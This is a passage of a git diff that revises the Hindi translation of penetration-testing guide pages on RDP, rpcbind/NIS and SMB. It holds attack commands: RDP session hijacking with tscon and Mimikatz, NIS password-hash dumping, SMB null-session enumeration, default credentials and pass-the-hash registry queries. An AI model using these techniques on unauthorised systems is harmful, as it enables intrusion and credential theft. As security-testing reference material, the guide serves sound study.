-https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md
index 9ea88c1d6..99d527a29 100644
--- a/src/network-services-pentesting/pentesting-rdp.md
+++ b/src/network-services-pentesting/pentesting-rdp.md
@@ -5,9 +5,9 @@
## Basic Information
-Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसा कनेक्शन स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के निर्बाध नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
+Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
-**डिफ़ॉल्ट पोर्ट:** 3389
+**Default port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
@@ -48,9 +48,9 @@ rdp_check /:@
```
## **हमले**
-### सत्र चुराना
+### सत्र चोरी
-**SYSTEM अनुमतियों** के साथ आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।
+**SYSTEM अनुमतियों** के साथ, आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।
**खुले सत्र प्राप्त करें:**
```
@@ -64,7 +64,7 @@ tscon /dest:
**महत्वपूर्ण**: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।
-आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ बातचीत करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
+आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
#### **Mimikatz**
@@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session
इस तकनीक को **stickykeys** या **utilman** के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।
-आप इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
+आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
@@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
-https://book.hacktricks.xyz/pentesting/pentesting-rdp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
index 3c0359ec6..0f7bb17cf 100644
--- a/src/network-services-pentesting/pentesting-rpcbind.md
+++ b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -4,14 +4,14 @@
## Basic Information
-**Portmapper** एक सेवा है जो नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों के साथ मैप करने के लिए उपयोग की जाती है। यह **Unix-आधारित सिस्टम** में एक महत्वपूर्ण घटक के रूप में कार्य करती है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाती है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-आधारित सेवाओं** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
+**Portmapper** एक सेवा है जिसका उपयोग नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाता है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
PORT STATE SERVICE
111/tcp open rpcbind
```
-## गणना
+## Enumeration
```
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
@@ -26,7 +26,7 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
-यदि आप सेवा NFS पाते हैं, तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) करने में सक्षम होंगे:
+यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) कर सकेंगे:
.png>)
@@ -40,7 +40,7 @@ nmap -sSUC -p111 192.168.10.1
खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि डोमेन नाम और सर्वर IP के साथ इसे पिंग करके NIS सर्वर की उपस्थिति की पुष्टि की जा सके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
-अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
+अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, जैसे **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
```bash
# Install NIS tools
apt-get install nis
@@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
-https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info
diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md
index c0546fc2b..be610c170 100644
--- a/src/network-services-pentesting/pentesting-smb.md
+++ b/src/network-services-pentesting/pentesting-smb.md
@@ -4,7 +4,7 @@
## **Port 139**
-_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को "कॉल" करने के लिए एक कमांड जारी करता है, जो **TCP पोर्ट 139** का उपयोग करता है।
+_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए एक आदेश जारी करता है दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) का उपयोग करते हुए **TCP Port 139**।
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@@ -12,7 +12,7 @@ _**नेटवर्क बेसिक इनपुट आउटपुट स
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
-उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
+उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो इंगित करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@@ -20,11 +20,11 @@ _**नेटवर्क बेसिक इनपुट आउटपुट स
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
-शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए एक हद तक **स्वतंत्र** रूप से सर्वर की वास्तविक संरचना से दृश्यता मिलती है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
+शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे एक क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
-IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित की अधिग्रहण की अनुमति देता है:
+IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@@ -36,11 +36,11 @@ IPC$ शेयर तक पहुँच एक गुमनाम शून्
```bash
enum4linux -a target_ip
```
-उपरोक्त कमांड एक उदाहरण है कि कैसे `enum4linux` का उपयोग एक लक्षित `target_ip` के खिलाफ पूर्ण एन्यूमरेशन करने के लिए किया जा सकता है।
+उपरोक्त कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण एन्यूमरेशन करने के लिए कैसे किया जा सकता है।
## NTLM क्या है
-यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप **NTLM** के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
+यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत दिलचस्प पाएंगे जो **NTLM** के बारे में है जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
{{#ref}}
../windows-hardening/ntlm/
@@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
-SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
+SMB संस्करण के लिए संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या यह स्क्रिप्ट:
@@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
-### **शोध शोषण**
+### **खोज शोषण**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@@ -84,12 +84,12 @@ searchsploit microsoft smb
| **उपयोगकर्ता नाम(s)** | **सामान्य पासवर्ड** |
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
-| अतिथि | _(खाली)_ |
-| व्यवस्थापक, admin | _(खाली)_, पासवर्ड, व्यवस्थापक, admin |
-| arcserve | arcserve, बैकअप |
-| tivoli, tmersrvd | tivoli, tmersrvd, admin |
-| backupexec, बैकअप | backupexec, बैकअप, arcada |
-| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
+| गेस्ट | _(खाली)_ |
+| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
+| आर्कसर्व | आर्कसर्व, बैकअप |
+| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
+| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
+| टेस्ट, लैब, डेमो | पासवर्ड, टेस्ट, लैब, डेमो |
### ब्रूट फोर्स
@@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
-यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने की कोशिश करें।
+यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
```
### **मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें**
-यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
+यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र का उपयोग कर रहे हों (जैसे, नल सत्र या मान्य क्रेडेंशियल)। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
@@ -210,14 +210,14 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
- SYSVOL
- NETLOGON
-(_**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से सामान्य शेयर नाम)
+(सामान्य शेयर नाम _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
```bash
smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
```
-या स्क्रिप्ट (एक नल सत्र का उपयोग करते हुए)
+या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
```bash
#/bin/bash
@@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **फाइलें डाउनलोड करें**
-क्रेडेंशियल्स/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
+क्रेडेंशियल्स/पास-थी-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -293,7 +293,7 @@ smbclient ///
- mask: निर्दिष्ट करता है कि फ़ाइलों को फ़िल्टर करने के लिए कौन सा मास्क उपयोग किया जाता है (जैसे "" सभी फ़ाइलों के लिए)
- recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
-- prompt: फ़ाइल नामों के लिए संकेत को बंद करता है (डिफ़ॉल्ट: चालू)
+- prompt: फ़ाइल नामों के लिए संकेत देने को बंद करता है (डिफ़ॉल्ट: चालू)
- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की कॉपी करता है
(_smbclient के मैनपेज से जानकारी_)
@@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-विशेष रूप से शेयरों में दिलचस्प फाइलें **`Registry.xml`** हैं क्योंकि वे **पासवर्ड** हो सकते हैं जो **autologon** के साथ **Group Policy** के माध्यम से कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए हैं। या **`web.config`** फाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
+विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
> [!NOTE]
-> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
-> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसे संवेदनशील जानकारी **पाएंगे**।
+> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
+> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसी संवेदनशील जानकारी **पाएंगे**।
## रजिस्ट्री पढ़ें
@@ -324,28 +324,28 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
-## पोस्ट एक्सप्लॉइटेशन
+## Post Exploitation
-एक **Samba** सर्वर का **डिफ़ॉल्ट कॉन्फ़िग** आमतौर पर `/etc/samba/smb.conf` में स्थित होता है और इसमें कुछ **खतरनाक कॉन्फ़िग** हो सकते हैं:
+The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
-| **सेटिंग** | **विवरण** |
+| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
-| `read only = no` | क्या फ़ाइलों के निर्माण और संशोधन पर रोक लगाई जानी चाहिए? |
-| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति है? |
-| `guest ok = yes` | क्या बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति है? |
-| `enable privileges = yes` | क्या विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान किया जाना चाहिए? |
-| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
+| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
+| `read only = no` | फ़ाइलों के निर्माण और संशोधन को मना करें? |
+| `writable = yes` | उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति दें? |
+| `guest ok = yes` | बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति दें? |
+| `enable privileges = yes` | विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान करें? |
+| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `directory mask = 0777` | नए बनाए गए निर्देशिकाओं को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
-| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
-| `magic script = script.sh` | स्क्रिप्ट बंद होने पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
-| `magic output = script.out` | जादुई स्क्रिप्ट का आउटपुट कहाँ संग्रहीत किया जाना चाहिए? |
+| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
+| `magic script = script.sh` | स्क्रिप्ट बंद होने पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
+| `magic output = script.out` | जादुई स्क्रिप्ट का आउटपुट कहाँ संग्रहीत किया जाना चाहिए? |
-कमांड `smbstatus` **सर्वर** और **कौन कनेक्टेड है** के बारे में जानकारी देता है।
+The command `smbstatus` gives information about the **server** and about **who is connected**.
-## केर्बेरोस का उपयोग करके प्रमाणीकरण करें
+## Authenticate using Kerberos
